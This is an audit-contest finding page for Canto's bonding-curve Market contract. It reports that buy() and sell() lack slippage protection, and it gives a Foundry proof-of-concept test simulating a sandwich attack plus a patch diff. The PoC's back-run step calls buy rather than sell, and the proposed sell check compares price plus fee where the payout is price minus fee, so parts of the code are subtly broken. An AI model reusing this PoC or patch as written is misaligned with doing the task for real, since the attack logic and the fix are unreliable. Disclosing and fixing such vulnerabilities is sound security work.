Canto Application Specific Dollars and Bonding Curves for 1155s - 0xarno's results

Tokenizable bonding curves using a Stablecoin-as-a-Service token

General Information

Platform: Code4rena

Start Date: 13/11/2023

Pot Size: $24,500 USDC

Total HM: 3

Participants: 120

Period: 4 days

Judge: 0xTheC0der

Id: 306

League: ETH

Canto

Findings Distribution

Researcher Performance

Rank: 102/120

Findings: 1

Award: $1.37

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174

Vulnerability details

Impact

The absence of slippage protection in the buy() and sell() functions creates a Sandwich Attack vulnerability, allowing potential attackers to exploit the system. They can take advantage of this by front-running during buy orders and subsequently back-running to sell, thereby profiting from the price discrepancies.

Proof of Concept

contract MockERC20 is ERC20 { constructor(string memory name, string memory symbol, uint256 initialSupply) ERC20(name, symbol) { _mint(msg.sender, initialSupply); } function mint(uint256 amount) public { _mint(msg.sender, amount); } } contract SandWaich is Test { Market market; LinearBondingCurve bondingCurve; MockERC20 token; uint256 constant LINEAR_INCREASE = 1e18; address bob; address alice; address attacker; address john; uint256 bobBalanceNormal; uint256 bobBalanceSandwich; function setUp() public { bondingCurve = new LinearBondingCurve(LINEAR_INCREASE); token = new MockERC20("Mock Token", "MTK", 1e18); market = new Market("http://uri.xyz", address(token)); john = address(1); alice = address(2); bob = address(3); attacker = address(4); } function test_createNewShare() internal { market.changeBondingCurveAllowed(address(bondingCurve), true); market.restrictShareCreation(false); vm.prank(john); market.createNewShare("Test Share", address(bondingCurve), "metadataURI"); assertEq(market.shareIDs("Test Share"), 1); vm.startPrank(alice); token.mint(10000000000000000000000000000e18); token.approve(address(market), 10000000000000000000000000e18); vm.startPrank(bob); token.mint(10000000000000000000000000000e18); token.approve(address(market), 10000000000000000000000000e18); vm.stopPrank(); vm.startPrank(attacker); token.mint(10000000000000000000000000000e18); token.approve(address(market), 10000000000000000000000000e18); vm.stopPrank(); } function test_SandWichAttack() public { test_createNewShare(); vm.prank(alice); market.buy(1, 100); frontRun(); uint256 balanceBeforeSandwich = token.balanceOf(address(bob)); vm.prank(bob); market.buy(1, 100); backRun(); uint256 balanceAfterSandwich = token.balanceOf(address(bob)); bobBalanceSandwich = balanceBeforeSandwich - balanceAfterSandwich; } function frontRun() internal { vm.startPrank(attacker); market.buy{gas: 1000000}(1, 100); vm.stopPrank(); } function backRun() internal { vm.startPrank(attacker); // with custom gas market.buy(1, 100); vm.stopPrank(); } // test normal buy function test_buy_Normal() public { test_createNewShare(); vm.prank(alice); market.buy(1, 100); // check balance before and after uint256 balanceBeforeNormal = token.balanceOf(address(bob)); vm.prank(bob); market.buy(1, 100); uint256 balanceAfterNormal = token.balanceOf(address(bob)); bobBalanceNormal = balanceBeforeNormal - balanceAfterNormal; // assert normal buy is greater than sandwich attack assertTrue(bobBalanceNormal > bobBalanceSandwich); } function onERC1155Received(address, address, uint256, uint256, bytes calldata) external pure returns (bytes4) { return this.onERC1155Received.selector; } }

Tools Used

VSCODE

-      function buy(uint256 _id, uint256 _amount) external {
+      function buy(uint256 _id, uint256 _amount,uint256 _maxSpend) external {
       require(shareData[_id].creator != msg.sender, "Creator cannot buy");
        uint256 rewardsSinceLastClaim = 0;

        (uint256 price, uint256 fee) = getBuyPrice(_id, _amount); // Reverts for non-existing ID
+        require(price + fee <= _maxSpend,"INVALID PRICE");

        SafeERC20.safeTransferFrom(token, msg.sender, address(this), price + fee);
        rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id);
        // The reward calculation has to use the old rewards value (pre fee-split) to not include the fees of this buy
        _splitFees(_id, fee, shareData[_id].tokensInCirculation);

        // The rewardsLastClaimedValue then needs to be updated with the new value such that the user cannot claim fees of this buy

        // Split the fee among holder, creator and platform

        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;

        shareData[_id].tokenCount += _amount;
        shareData[_id].tokensInCirculation += _amount;
        tokensByAddress[_id][msg.sender] += _amount;

        if (rewardsSinceLastClaim > 0) {
            // console.log("rewardsSinceLastClaim", rewardsSinceLastClaim);
            SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim);
        }
        emit SharesBought(_id, msg.sender, _amount, price, fee);
    }


-  function sell(uint256 _id, uint256 _amount) external {
+  function sell(uint256 _id, uint256 _amount,uint256 _minWant) external {
        (uint256 price, uint256 fee) = getSellPrice(_id, _amount);
+        require(price + fee >= _minWant,"INVALID PRICE");
        // Split the fee among holder, creator and platform
        _splitFees(_id, fee, shareData[_id].tokensInCirculation);
        // The user also gets the rewards of his own sale (which is not the case for buys)
        uint256 rewardsSinceLastClaim = _getRewardsSinceLastClaim(_id);
        rewardsLastClaimedValue[_id][msg.sender] = shareData[_id].shareHolderRewardsPerTokenScaled;

        shareData[_id].tokenCount -= _amount;
        shareData[_id].tokensInCirculation -= _amount;
        tokensByAddress[_id][msg.sender] -= _amount; // Would underflow if user did not have enough tokens

        // Send the funds to the user
        SafeERC20.safeTransfer(token, msg.sender, rewardsSinceLastClaim + price - fee);
        emit SharesSold(_id, msg.sender, _amount, price, fee);
    }

Assessed type

MEV

#0 - c4-pre-sort

2023-11-18T10:10:33Z

minhquanym marked the issue as duplicate of #12

#1 - c4-judge

2023-11-28T23:32:34Z

MarioPoneder marked the issue as satisfactory

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter